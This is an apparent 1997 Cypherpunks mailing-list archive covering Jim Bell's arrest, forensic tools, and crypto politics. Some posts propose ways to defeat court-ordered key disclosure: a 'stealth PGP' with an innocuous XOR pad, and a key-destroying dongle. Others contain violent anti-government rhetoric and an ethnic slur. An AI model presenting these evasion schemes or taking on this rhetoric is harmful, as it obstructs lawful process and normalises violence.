Eugene, Oregon; Provo, Utah, and Atlanta, Georgia. 

Visit NTI's Internet web site at http://www.secure-data.com. 

SOURCE New Technologies Inc. 

/CONTACT: Annette Johnson of NTI, 503-661-6912, or fax,
503-674-9145, or E-mail: info@secure-data.com/ 

----------

>From the NTI Web site, http://www.secure-data.com

New Technologies, Inc. 
2075 Northeast Division 
Gresham, Oregon 97030 USA
503-661-6912 or (fax) 503-674-9145

Forensic and Encryption Training

3 Day Oregon Training Schedule: May 20-22, June 24-26, 
July 22-24, Aug 19-21, Sept 16-18, Oct 21-23

Law enforcement and military agencies have been involved 
in processing computer evidence for years. The founders of NTI 
were instrumental in the creation of the training courses in the 
field of Forensic Computer Science that have become the 
international standard for evidence processing world wide. 

They developed the first computer evidence courses at the Federal 
Law Enforcement Training Center and created the original training 
courses and certification for the International Association of 
Computer Investigative Specialists. These founders have also been
instrumental in developing password recovery software which deals 
with the breaking of security associated with a majority of the 
commercial word processing, spread sheet and database software 
applications. 

In addition, a majority of the computer evidence processing tools 
used by law enforcement and military agencies were developed by the 
founders or employees of NTI.

With the creation of NTI, corporations and government agencies 
now have access to forensic information and tools which can be 
used in the identification of computer security risks and in
internal investigations. NTI will also continue to support law 
enforcement and military agencies by making state-of-the art 
training and automated forensic tools available at discounted rates. 

For security reasons, our training courses and forensic software 
tools are only made available to law enforcement agencies, 
government agencies, large corporations and consultants who
work with large corporations and/or government agencies.

***

Applied Cryptography & Cryptanalysis

NTI has three full time cryptographers employed in its Utah offices. 
Our file encryption software is developed in that facility and Eric 
Thompson is our senior cryptographer. Eric's credentials are
mentioned elsewhere in our web site. However, it is safe to say that 
he is one of the top cryptographers in the world and has broken the 
security associated with most commercial applications that feature 
encryption or password protection. We rely upon Eric and his team to
teach these courses at the sites of sponsoring government agencies 
and corporations.

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 21 May 1997 22:35:39 +0800
To: minow@apple.com
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03010d00afa69bff8ac5@[17.219.102.72]>
Message-ID: <199705211439.KAA10399@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow writes:
> 
> Tim May wrote:
> >
> >Also, my tag line, "Death to tyrants!" is straight out of the Founders'
> >mouths.
> >
> Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
> "thus always to tyrants" and was spoken by John Wilkes Booth when he
> assasinated
> President Lincoln.

FYI, from http://www.scvol.com/States/virginia.htm

    [picture of Virginia flag]

    A deep blue field contains the seal of Virginia with the Latin
    motto "Sic Semper Tyrannis" - "Thus Ever to Tyrants". Adopted in
    1776. The two figures are acting out the meaning of the motto.
    Both are dressed as warriors. The woman, Virtue, represents Virginia.
    The man holding a scorge [sic] and chain shows that he is a tyrant.
    His fallen crown is nearby. 


Not conclusive, but it seems likely this slogan was well known to the
"Founders".


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 23:21:26 +0800
To: cypherpunks@toad.com
Subject: Mil-LE Forensic Tools
Message-ID: <1.5.4.32.19970521145404.009012a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>From the NTI Web site, http://www.secure-data.com

Free downloads:

Forensic Tools

The FILTER Forensic Tool:

This program is used to remove binary (non alpha-numeric) characters 
from computer data. This program has been used internationally by 
military and law enforcement agencies for years and was donated to the 
law enforcement community by one of our founders back in 1991. Once a 
file has been processed with this program the content can be printed 
and viewed with more traditional types of programs, e.g. word processors. 
This program should not be confused with NTI's intelligent filter 
program. ...

The NTIDOC Forensic Tool:

This program is used to essentially take an electronic snap shot of 
files and subdirectories that have previously been identified to have 
some evidentiary value. It is a documentation tool. The program 
automatically creates documentation that can easily be printed, viewed 
or merged into forensic reports. The original program entitled DOC has 
been used for years by military and law enforcement computer specialists 
and has previously been donated for that use by the founders of NTI. ...

The SPACES Security Review Tool:

This program is very simple. It creates one or more files that contain 
nothing but spaces. To be exact, every file created by this program 
will contain 10,000 spaces. Such output is ideal in the evaluation of 
encryption patterns to determine security weakness. Our forensic 
training courses and cryptography courses cover this concept in detail. 

MICRO-ID Computer Theft Prevention Software:

This software is used to mark computer hard disk drives with computer 
ownership information. Once a computer has been marked it can be 
identified by police should it be recovered as stolen property. The 
program that reads the ownership information is called COP-ONLY and as 
the name implies the program is only distributed to local, county and 
state law enforcement agencies. ...

----------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 21 May 1997 23:38:02 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <y8R06D21w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970521111444.1337B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Dr.Dimitri Vulis KOTM wrote:

> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> It certainly would be consistent with other terrorist acts perpetrated
> by Armenian criminals off and on the net - such as the genocide of
> the 2 million Moslems and Sephardic Jews in this century alone.
> 
> I am not surprised that Arachelian's employer, Earthweb, condones his
> spamming.  They sound like a thoroughly corrupt and criminal organization,
> since they even employ Arachelian as a network administrator.

1. What spamming?  All this was hypothetical.

2. What I do from my accounts is my business and not Earthweb's.

3. The only criminal character that has spammed here is you - see all the 
"Timmy May" messages, the "news" messages of 100K+, all the spambots 
you've writen and posted here, and your flame wars.

If anyone doubts this, they need to do a net search on the word "Vulis" 
to see your lovely work.   Crawl back under your rock, you're boring us.

If you can't come up with anything entertaining like you used to, don't 
bother.  You're repeating yourself like the broken KGB mouthpiece that 
you are.  To quote Monty Python "I fart in your general direction.  Your 
mother was a hamster, and your father smelt of elderberries."

Now, either shut up, or do something worthy of your KOTM label.  Yeah, 
and that is a challenge - incase you're too stupid to figure it out.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 21 May 1997 23:30:36 +0800
To: cypherpunks@toad.com
Subject: Rogue Key Warning
Message-ID: <199705211502.JAA13497@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>   In keeping with what I see as a cypherpunk frame of mind, I am
> posting this via an anonymous remailer, but I am also digitally
> signing it. I am not hiding my identity, but merely taking
> action to prevent my public statement from being used to unjustly
> persecute me.

  The PGP public key included with the file for identification
purposes has a verifying signature that can corrupt your PGP 5.0
keyring file if you use the "Get Selected Key" option to get
that particular verifying key and add it to your keyring. It 
crashes the program.
  The offending key shows up as "Unavailable, 0xFC3568CD" in
the PGP 5.0 list of verifying signatures for the key.

  The key included in the file causes no problems with the program
when added to the keyring as long as you don't use the program to
retreive the offending verification key and add it to your keyring.

> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQCVAwUBM4KR+6ozBjzmqceZAQHeRQQAiI6CSKzPgioO5UdacoNbtKPyTvhHOuNB
> /kkCx1UuYiVOaIw48oVX7Gj1bIcMMkAiM+q6q+SOZkEq+hNUdriISpY5/aKA39Yp
> ejNKl2McRK7WrP+TQPNx9hwxFrW93JrqjhSPhZsgkVNtIHG/wE1RpdWJzPiIOeP2
> /Q9TTHmRoRU=
> =x+P/
> -----END PGP SIGNATURE-----
> 
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 5.0 beta
> 
> mQCNAzMs140AAAEEAL1CAoB5pd97hIOoT6L0v05Ov8nw0unf0db6NXZ91EJAyq9p
> DoPGJl7Z6m5McIsNI2DrCEEt7KYdt0ZIGcqqK2gmCePYI0oQOFj+jznI3jKXg1k2
> R+ngk+cUn21EfrNXFGPk1Tuc1/3Qib6cX6BZRJvvz1FNYNt/zqozBjzmqceZAAUR
> tBtUb3RvIDx0b3RvQHNrLnN5bXBhdGljby5jYT6JAJUCBRAzPR6jIokaQ0EgfuUB
> ARyWA/9P1UVMvBAGXY488f/Nvs1CZnp/a0SNxELXfpMyJz/Vdd2RuahRYoc50Cbp
> F1/QOd4PZeEW2aNT/shxfm3Q9zpxGzyFgy//tEXdw2aedzdT4oMOgDBqMrzc2LfN
> 8zWqF5cWJLASIqwbrIkmyZR6LUCxmE79WmgRlQGAHfMwwC3WLYkAlQMFEDOCfw+w
> X4yQZvuMZQEBhuYEAJW2pN2aj1m7972GkQvUVBeenWrMqKXNyHF/73+YGZsLLo79
> ApWR1ROm2RgxXJQeHSrUolXhxpkjHe9DJ5GwrsV7m97HfwvM32Vw/32U4T1jyeez
> VvBqJQ417UxxYS2QSQZIyLcVojFEJvh/kQ2NFXwTPJ1BscPn4/KnT6DD0u5ciQCV
> AwUQM4J+6pfboLn8NWjNAQGTigQAnrFZ8OiAguWqi1LsClKo0t9y+Ly98EPnpBt2
> FgQN9/Z8PSZjPqEn9AJk7Z5TBhGJNXBmkULiuNA9zvGTsRM0S7Oi6/WFUcL9rio6
> gMsxTnDythGaFa5YDQXgXtFxqcjsojGhe922KFnVi4xxatO9vm9Zo3JaNAK8zvg2
> rIrd7VQ=
> =MuiR
> -----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 22 May 1997 17:46:15 +0800
To: cypherpunks@toad.com
Subject: Re: The Natives Are Getting Restless
Message-ID: <199705220919.DAA15574@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc wrote:

> If this society is at war, it is a Civil War, fighting against itself.   In
> fact, there are many groups fighting against each other, on many different
> levels:  racial, gender-based, religious, economic, philosophical, not to
> leave out political.    Companies are fighting each other "tooth & nail"
> for survival in marketing turfs, races are still exchanging vicious barbs,
> homosexuals are under verbal & physical attack by the socially "normed",
> the poor still envy & disparage the rich, women & children seem more than
> ever to be at risk to attacks from roving sex perverts, the liberals would
> love to put the libertarians under, religious groups lecture against the
> moral depravity of all those "other" people, and half the country is either
> stocking up for a National Disaster or forming into militia groups or other
> Think Tanks to fight some sort of government encroachment (even the health
> food stores where I shop are always posting sign-up sheets to vote against
> something or another the government wants to ban or some right-of-choice
> that is being threatened by proposed legislation).

 Second only to Miss Piggy among deep thinkers, Mrs.
Wiggs, the one with the cabbage patch, said this: "In the
mud and scum of things ... Something always always
sings."

  I am grateful that there is at least one female on the list who
is capable of stepping into the middle of the "Dick Wars" on the
list and reminding the men that the "targets" they talk about have 
names, faces, and children.
  I am aware that there is a human cost inherent in every conflict,
and I accept that it will always be so, but I cannot accept the
idea that one can leave their conscience clear by "criminalizing"
their target and discounting their target's humanity.
  I am an anarchist and a realist. If I had a button that would
nuke D.C., I might well push it--but I am also a thinking, feeling
human, and I would cry a river of tears, as well. When I estimate
a "body count", I never fail to count the children.

  Blanc's aim is true when she speaks of the growth of reactionary
posts to the list which fail to include a foundation of creative
thought. 
  Anyone can return fire when attacked and turn the situation into
a firefight where a random volley of ammo decides the outcome of
the battle. However, a good squad leader already has his defences
in place to deal rationally with situations that can easily be
forseen before they arise.
  When "they" come for your neighbor today, will you be surprised
when they come for _you_ tomorrow? When I first heard of Jim Bell's
arrest I began composing a reply to Hallam-Baker's coming post. It
may be vocal and emotionally charged, but it is not done solely
out of blind reactionism.

  God bless Blanc.

TruthMonger -96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger  #-96 <tm96@dev.null>
Date: Thu, 22 May 1997 18:25:56 +0800
To: cypherpunks@toad.com
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <199705221000.EAA16124@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker, whose posts always seem to read as if they were
written by a government disinformant, wrote:

> Alan Olsen wrote:
> > I think that the Government is trying to make an example of Mr. Bell.  I
> > think that much of the charges reported in the news are false.

> I would not depend on Bell to any extent in any circumstance to
> be reliable.

  That's right. We should not support "wrong" people. So first H-B
needs to demean Jim Bell personally.

> > 3) The suspected crimes list keeps changing.  How many times has the
> > "official" story changed?  Each time it gets more and more lurid.
> 
> Expanding is the word. Put someone under a microscope and you
> are liable to find out quite a bit about them.

  And we should not support "bad" people, so H-B also needs to
criminalize Jim Bell by vague innuendo.

> Bell is not the kind of loon to stick one's neck out for.

  Why risk your own neck supporting a loon?

> It may
> well be that he did not explicitly advocate murder but he danced
> awfully close to that line. 

  Sure, maybe he didn't actually commit a crime, but he pushed
the envelope, so he made his own troubles.
  
> Before charging to the rescue its a good idea to make sure
> that you are rescuing the right person. 

  It's best to do nothing, because it's not you. It's a loon.
It's someone who probably did something illegal, even if it
wasn't what he was charged with (because we're all guilty of
something).
  So now H-B has given the individual cypherpunks "reasons"
not to support Jim Bell, or to protest his persecution.

  So what if Jim Bell is a cypherpunk to the core? So what if
he is being prosecuted for speaking of things that many of us
have spoken about and debated on the list?
  There are sounds of gunfire coming from our neighbor's house.
Let's just close the window and hope that the trouble doesn't
come our way.

TruthMonger #-96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 00:38:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <19970521092223.04748@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 12:50:02AM -0700, Bill Stewart wrote:
> At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
[...]
> > "Power corrupts..." isn't a property of governments, 
> > it is a property of individual human beings.
> 
> Mostly.  But you're presumably advocating government by humans.

Strictly speaking, I don't advocate government.  Rather, I think that
government is innate to the human species.  Chimpanzees and Baboons
have a political/social power hierarchy -- it's ubiquitious among
higher primates.  In fact, it's common among a great many different
kinds of animals.  Humanity has a much more complex and evolved power
hierarchy, to be sure, but the same fundamental psychological
motivation -- a "will to power", if you will -- is present.

> And while government is an abstraction of the activities of a 
> lot of individual humans, governments do tend to accumulate
> and abuse power, and tend to reach a point where they're more
> interested in maintaining and increasing that power than in

Yes, that tendency does seem to exist.  There's an analogy to
gravity organizing matter in clumps -- each individual bit of matter
contributes to the overall effect; each individual human being 
contributes their bit of power hunger to the mix.

> any legitimate activities like protecting life, liberty, and property.

Who decides what are legitimate activities for government? Either the
"elite" or the "sheeple", or some combination thereof? Strictly
speaking, I think the "legitimate activities for government" is
meaningless -- ultimately governments *always* define their own
legitimacy.  To precisely the extent that you are able to effectively
discuss the "legitimate activities of government" you are in fact
participating in the power struggle, which means you are part of the
real government (just a small faction perhaps...)

Note that the cryptoanarchy electronic money agenda is just another
power play that uses privacy rhetoric as a smokescreen for it's real 
purpose, namely, empowering an elite.  Money, after all, is a 
powerful weapon.

> Consider the drug war, the military-industrial complex,
> the fraction of your income that's paying for government,
> and compare that with 200 years ago...

The drug war is an expression of collective idiocy, IMO -- one of
many.  The military-industrial complex is a good, concrete example
that government and society are inseperable.  The point about the
fraction of my tax dollars -- the fact of the matter is that we are
all *much* better off than we would have been 200 years ago, that
society as a whole is more productive, and as indivuals we get far
more back from the society/government we live in than we could ever
possibly contribute.  "The System" as a whole could be more efficient,
certainly, but it's hard to make meaningful comparisons with things
200 years ago. 

> Also power _attracts_ the corrupt, and the corruptible.
> As Henry the K said, it's the ultimate aphrodisiac.

Which is obvious, if you look at the primate origins.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 22 May 1997 01:38:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <199705211624.JAA00456@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


>From what I have read, the elements of the conspiracy offence are a
plan to commit a crime involving multiple individuals, and at least one
overt act taken in furtherance of the plan.  For example, if people get
together and plan a kidnapping, then one member goes out and buys some
rope, that could be enough to represent conspiracy to commit kidnapping.
You don't actually have to do the kidnapping to be convicted on conspiracy.

If Bell got together with his friend and talked about disabling government
computers with "carbon fibers" (whatever those are), and he then goes
out and buys a source of carbon fibers, a case could be made that this
would represent the crime of conspiracy.  (We don't know yet whether either
of these thing actually happened, of course.)

Now his lawyer can argue that the conversation was purely hypothetical
speculation of the type which technically minded people commonly engage
in, and the carbon fiber source (if it exists) was acquired out of
curiosity based on the discussion.  Then it would be up to the jury
to decide whether Bell's actions actually were part of a planned crime
or not.

In this context his writings and hostile relations with government
agencies could conceivably be used against him, if his lawyer did try
to argue that his conversations were just innocent speculation.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 00:48:59 +0800
To: cypherpunks@algebra.com
Subject: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <199705211558.RAA03639@n246-140.berlin.snafu.de>
Message-ID: <v03007802afa8e11a2121@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:58 AM -0800 5/21/97, Steffen Zahn wrote:
>On Thu, 15 Jul 1993, Allan Thompson wrote:
>
>>         Would it be possible for a court to subpeona a encrypted file or
>>key,
>> and order you to tell them the key ?
>> If you didn't would you be held in 'contempt of court' ?
>
>How about claiming that you used a OTP and then revealing the key?
>Or should I say a key?
>

Making a claim and having it be plausible are entirely different things. In
the case of PGP, or S/MIME, or whatever, the form is entirely different
from what a one time pad would generate.

A so-called "stealth" form of PGP (etc.), which would not contain headers
or other indications of it being PGP, version, etc., would be a better
candidate for this.

(Efforts to build such stealth versions have languished...I spoke to some
PGP, Incorporated folks at a recent Cypherpunks meeting about this, and
they confirmed that this is a very low, or even negative priority. As their
mission is now to meet corporate needs, and to get generate sales to
government agencies, and to work with Key Recovery and Children's Security
Alliance, introducing a "plausible deniability" version of PGP is not
desirable for them.)

A stealth version that automatically generated a "pad" that was innocuous
would be easy enough to write. Just XOR the stealthed PGP block with
something like "I'm thinking of travelling to Germany this summer...any
ideas about what I should see? blah blah blah"

Then any search warrant turns up the XORed version (the pad), which when
XORed with the message the authorities want to decrypt yields the innocuous
message above.

Probably any stealthy versions of PGP or S/MIME would best be handled
outside of PGP or other vendors...just modify their source code and
distribute the stealthy versions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@WEBSTER2.ffg.com
Date: Thu, 22 May 1997 02:02:42 +0800
To: cypherpunks@toad.com
Subject: News from the Front II
Message-ID: <B0000270078@alt.bs.net>
MIME-Version: 1.0
Content-Type: text/plain


An update to our customers and friends on happenings at 
-----------------------------------------------------------------------
F O R E F R O N T  -  Taking the Chaos out of the 'Net
http://www.ffg.com		   Newsletter  5/13/97
-----------------------------------------------------------------------
Contents:
I.   News from the 'Front
II.  Hot Tip
III. Special Offer
-----------------------------------------------------------------------
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send mail to nonews@sldc.ffg.com or go to http://www.ffg.com/press/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 02:58:03 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <v03007804afa8fc5085af@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





At 9:35 AM -0800 5/21/97, Michael Wilson wrote:
>The occasion of Jim Bell's arrest provides an opportunity to consider
>a number of points:
>
>Are Federal Agents Evil?
>Why is there an attempt to persecute Jim Bell, one that has many
>similarities to the Olympic Park Bombing rush-to-judgment, Ruby
>Ridge, Waco, OK City, etc.?  Are we to believe that government
>agents are 'evil,' or True Believers that _we_ (those who are _not_
>true believers) are evil?  I personally think not.  I think we are

I almost never think government agents, even most rulers, are in any
meaningful sense "evil."

I've written in the past about "institutional" issues, and about
Nietzsche's "Beyond Good and Evil." The problems in the United States, with
bloated welfare roles, a "policeman for the world" mentality, an overly
litigous/litigious society, etc., come not from any personal evil on the
part of the elected or appointed officials, but rather from an inexorable
growth of certain institutions in predictable ways. Any enity, be it an
organism or an institution, a living plant like a tree or a corporation
like PGP, Inc., grows and thrives by how well it competes, how well it
bends toward the sources of food and energy, and what genes or memes it
received. "The purpose of any organism is to survive" is a telelogical
truism, of course. But it is still true. All institutions--corporations,
clubs, Cypherpunks--seek to prosper and grow, in various ways. Even if not
directed by a central nervous system.

In corporations, even individual departments seek to grow. This aids in
career advancement. "Empire building" happens with countries, government
bureaucracies, corporations, clubs, and so on.

There are perfectlylogical game-theoretic reasons why the Washington
bureaucracy has gotten so large, why every one of the 500+ Congresscritters
has a staff of dozens working for him or her, why each of the dozen or so
major Cabinet departments has dozens of buildings and thousands (even
millions, as with DoD) of worker bees, why each entity in government seeks
constantly to expand its scope and powers, and why the number of rules,
regulations, laws, emergency orders, and edicts expands inexorably every
day.

"Evil" is not a useful way to analyze this problem. In this sense, everyone
in government is an "innocent." But the problem still needs to be fixed.

And in fixing these institutions it is unavoidable that "non-evil" persons
will be affected. How could it be otherwise? Some will lose their careers,
some their current jobs, some may even lose their lives. (No, this is not a
threat, just a statement of the obvious, a prediction.)

Innocents in Washington and elsewhere will, if they have any sense of their
own future security, seek to avoid the institutions and power centers which
will be affected by the necessary restructurings.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 01:51:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <v03007802afa8e11a2121@[207.167.93.63]>
Message-ID: <199705211734.MAA31792@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007802afa8e11a2121@[207.167.93.63]>, on 05/21/97 
   at 11:38 AM, Tim May <tcmay@got.net> said:

>At 7:58 AM -0800 5/21/97, Steffen Zahn wrote:
>>On Thu, 15 Jul 1993, Allan Thompson wrote:
>>
>>>         Would it be possible for a court to subpeona a encrypted file or
>>>key,
>>> and order you to tell them the key ?
>>> If you didn't would you be held in 'contempt of court' ?
>>
>>How about claiming that you used a OTP and then revealing the key?
>>Or should I say a key?
>>

>Making a claim and having it be plausible are entirely different things.
>In the case of PGP, or S/MIME, or whatever, the form is entirely
>different from what a one time pad would generate.

>A so-called "stealth" form of PGP (etc.), which would not contain headers
>or other indications of it being PGP, version, etc., would be a better
>candidate for this.

>(Efforts to build such stealth versions have languished...I spoke to some
>PGP, Incorporated folks at a recent Cypherpunks meeting about this, and
>they confirmed that this is a very low, or even negative priority. As
>their mission is now to meet corporate needs, and to get generate sales
>to government agencies, and to work with Key Recovery and Children's
>Security Alliance, introducing a "plausible deniability" version of PGP
>is not desirable for them.)

>A stealth version that automatically generated a "pad" that was innocuous
>would be easy enough to write. Just XOR the stealthed PGP block with
>something like "I'm thinking of travelling to Germany this summer...any
>ideas about what I should see? blah blah blah"

>Then any search warrant turns up the XORed version (the pad), which when
>XORed with the message the authorities want to decrypt yields the
>innocuous message above.

>Probably any stealthy versions of PGP or S/MIME would best be handled
>outside of PGP or other vendors...just modify their source code and
>distribute the stealthy versions.


This was part of the basis for my proposal for a crypto-dongel. Instant
destruction of ones private key any time any place. When the judge
requests your key and all legal challenges to the request have been
exausted you merly have your lawer give the judge the distroyed key. "what
your honor when was the key distroyed? well right after I saw a large
group of men in ski masks & M16's trying to kick in my door ...." :))


"The tree of liberty must periodically be feed with the blood of tyrants
and patriots."

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Thu, 22 May 1997 01:47:10 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: Cypherpunk criminalization
Message-ID: <97052117355649/0005514706DC6EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


The occasion of Jim Bell's arrest provides an opportunity to consider
a number of points:

Are Federal Agents Evil?
Why is there an attempt to persecute Jim Bell, one that has many
similarities to the Olympic Park Bombing rush-to-judgment, Ruby
Ridge, Waco, OK City, etc.?  Are we to believe that government
agents are 'evil,' or True Believers that _we_ (those who are _not_
true believers) are evil?  I personally think not.  I think we are
seeing a phenomenon that is rather simple--government agents will tend
to pursue cases that may get them recognition or promotion.  People
like Jim Bell pass some mobile threshold where their case is media
'hot' or sexy enough to make it worth pursuing--the Feds get a collar
and media attention, a prosecutor gets similar benefits, judges are
notoriously easy to inflame for the proper paperwork to be obtained,
etc.  Are the rest of the cypherpunks at risk?  Looking at it with
my game theorist hat on, I suspect not--while Tim May has been
pushing the envelope recently, I don't think he's crossed any line
would allow the appearance of a 'good bust,' nor has anyone else on
the list (to my direct knowledge).  I think we're witnessing a bit
of the same mentality that literally did allow the operation of the
Nazis--they're just doing their job, just following orders, just
being part of their bureaucracy, with perhaps a few True Believers
to leaven the mix.

Technology vs. Public Relations/Propaganda
Cypherpunks write code, we hear it often enough as the credo of the
'movement.'  On the other hand, as valuable a social service as it
actually has been, the war is being fought on other terms.  Crypto
has been characterized as 'offensive' technology, in two senses of
the term--a regulated weapons technology, and a socially unacceptable
act.  This manifests in the 'what have you got to hide' mentality,
coupled with the trotting out of the Four+ Horsemen.  We're losing this
part of the war, and the cutting of more code isn't going to help us
one bit.  We need to turn the public perception around.  What we're
seeing in this case is a rather rapid erosion of the legal principles
of an expectation of privacy (I won't engage in the rather lengthy
discussion of this, but I recommend the interested parties do take
the time to read in a good law library, or hunt down the materials on
the Bork nomination to the Supreme Court).  We've become a society
that is expected to publicly air our dirty laundry, to march onto a
television talk-show and expose our faults, foibles, and felonies.
We need to fight back in ways that communicate to Joe Sixpack, also
known as the Common Man--we all have secrets, we all have things we
don't want people to know.  Build the database!  Get the testimonials!

Let me briefly mention some of the sorts of need for privacy, secrecy,
anonymity that are socially acceptable, and which we need to use to
reinforce our own message:
--AIDS testing;
--Illness diagnosis, such as cancer;
--Financial information: credit card numbers, bank balances, net worth;
--Dropping the dime on crime: mob witnesses, corporations, your noisy
neighbor who abuses their kids but owns a shotgun;
--Donations to needy causes, but not wanting everyone to have their
hand out;
--Personal habits: alcoholism, drug use, gambling addiction, sexual
preferences;
--Common law privileges: confessional, physician or attorney relation
to their client.

In short, we all have things we want to remain secret, and we certainly
don't want them to be 'exposed,' or to fall into the wrong hands. We
need to take the issue back from the criminalization of having secrets
to a place where crypto is viewed as a defensive technology--we're
entitled to it, and our privacy.

Crypto vs. the Government
This is the biggest area of contention.  The cypherpunk case is that
strong, unescrowed cryptography is essential--we have no reason to
assume that government is our friend (pull out the file of long-term
government abuses here, from using the IRS to pursue political
targets to the mail-opening programs of the FBI/CIA), and more to the
point, this isn't a 'local' issue that is categorized by a singular
stance on the part of the U.S. government.  The cryptosystems we
build and promote are used in places where they protect human rights
workers, economic security and competitiveness, privacy, etc.  The
Internet and the tools are global, so we're on a battlefield that also
includes:
-Europe, including the Former Soviet Republics and Bosnia, where strong
crypto is critical for freedom-loving movements;
-Asia, where users of strong crypto use it to prevent competitive
intelligence or organized espionage programs from impacting on their
business, in particular, from actions of those U.S. 'allies' Japan,
Korea, China;
-the Middle East, where strong crypto protects human rights workers,
businesses, and individuals who have an un-Islamic taste for things
like pornography, or news; see 'rogue' States like Iran, but also
U.S. 'allies' like Saudi Arabia, Egypt, Israel, Kuwait, etc.

And the global battle means that we have to set an example, allow access,
and fight those efforts on our own turf (does anyone really think that
Asian or European competitive intelligence or espionage efforts don't
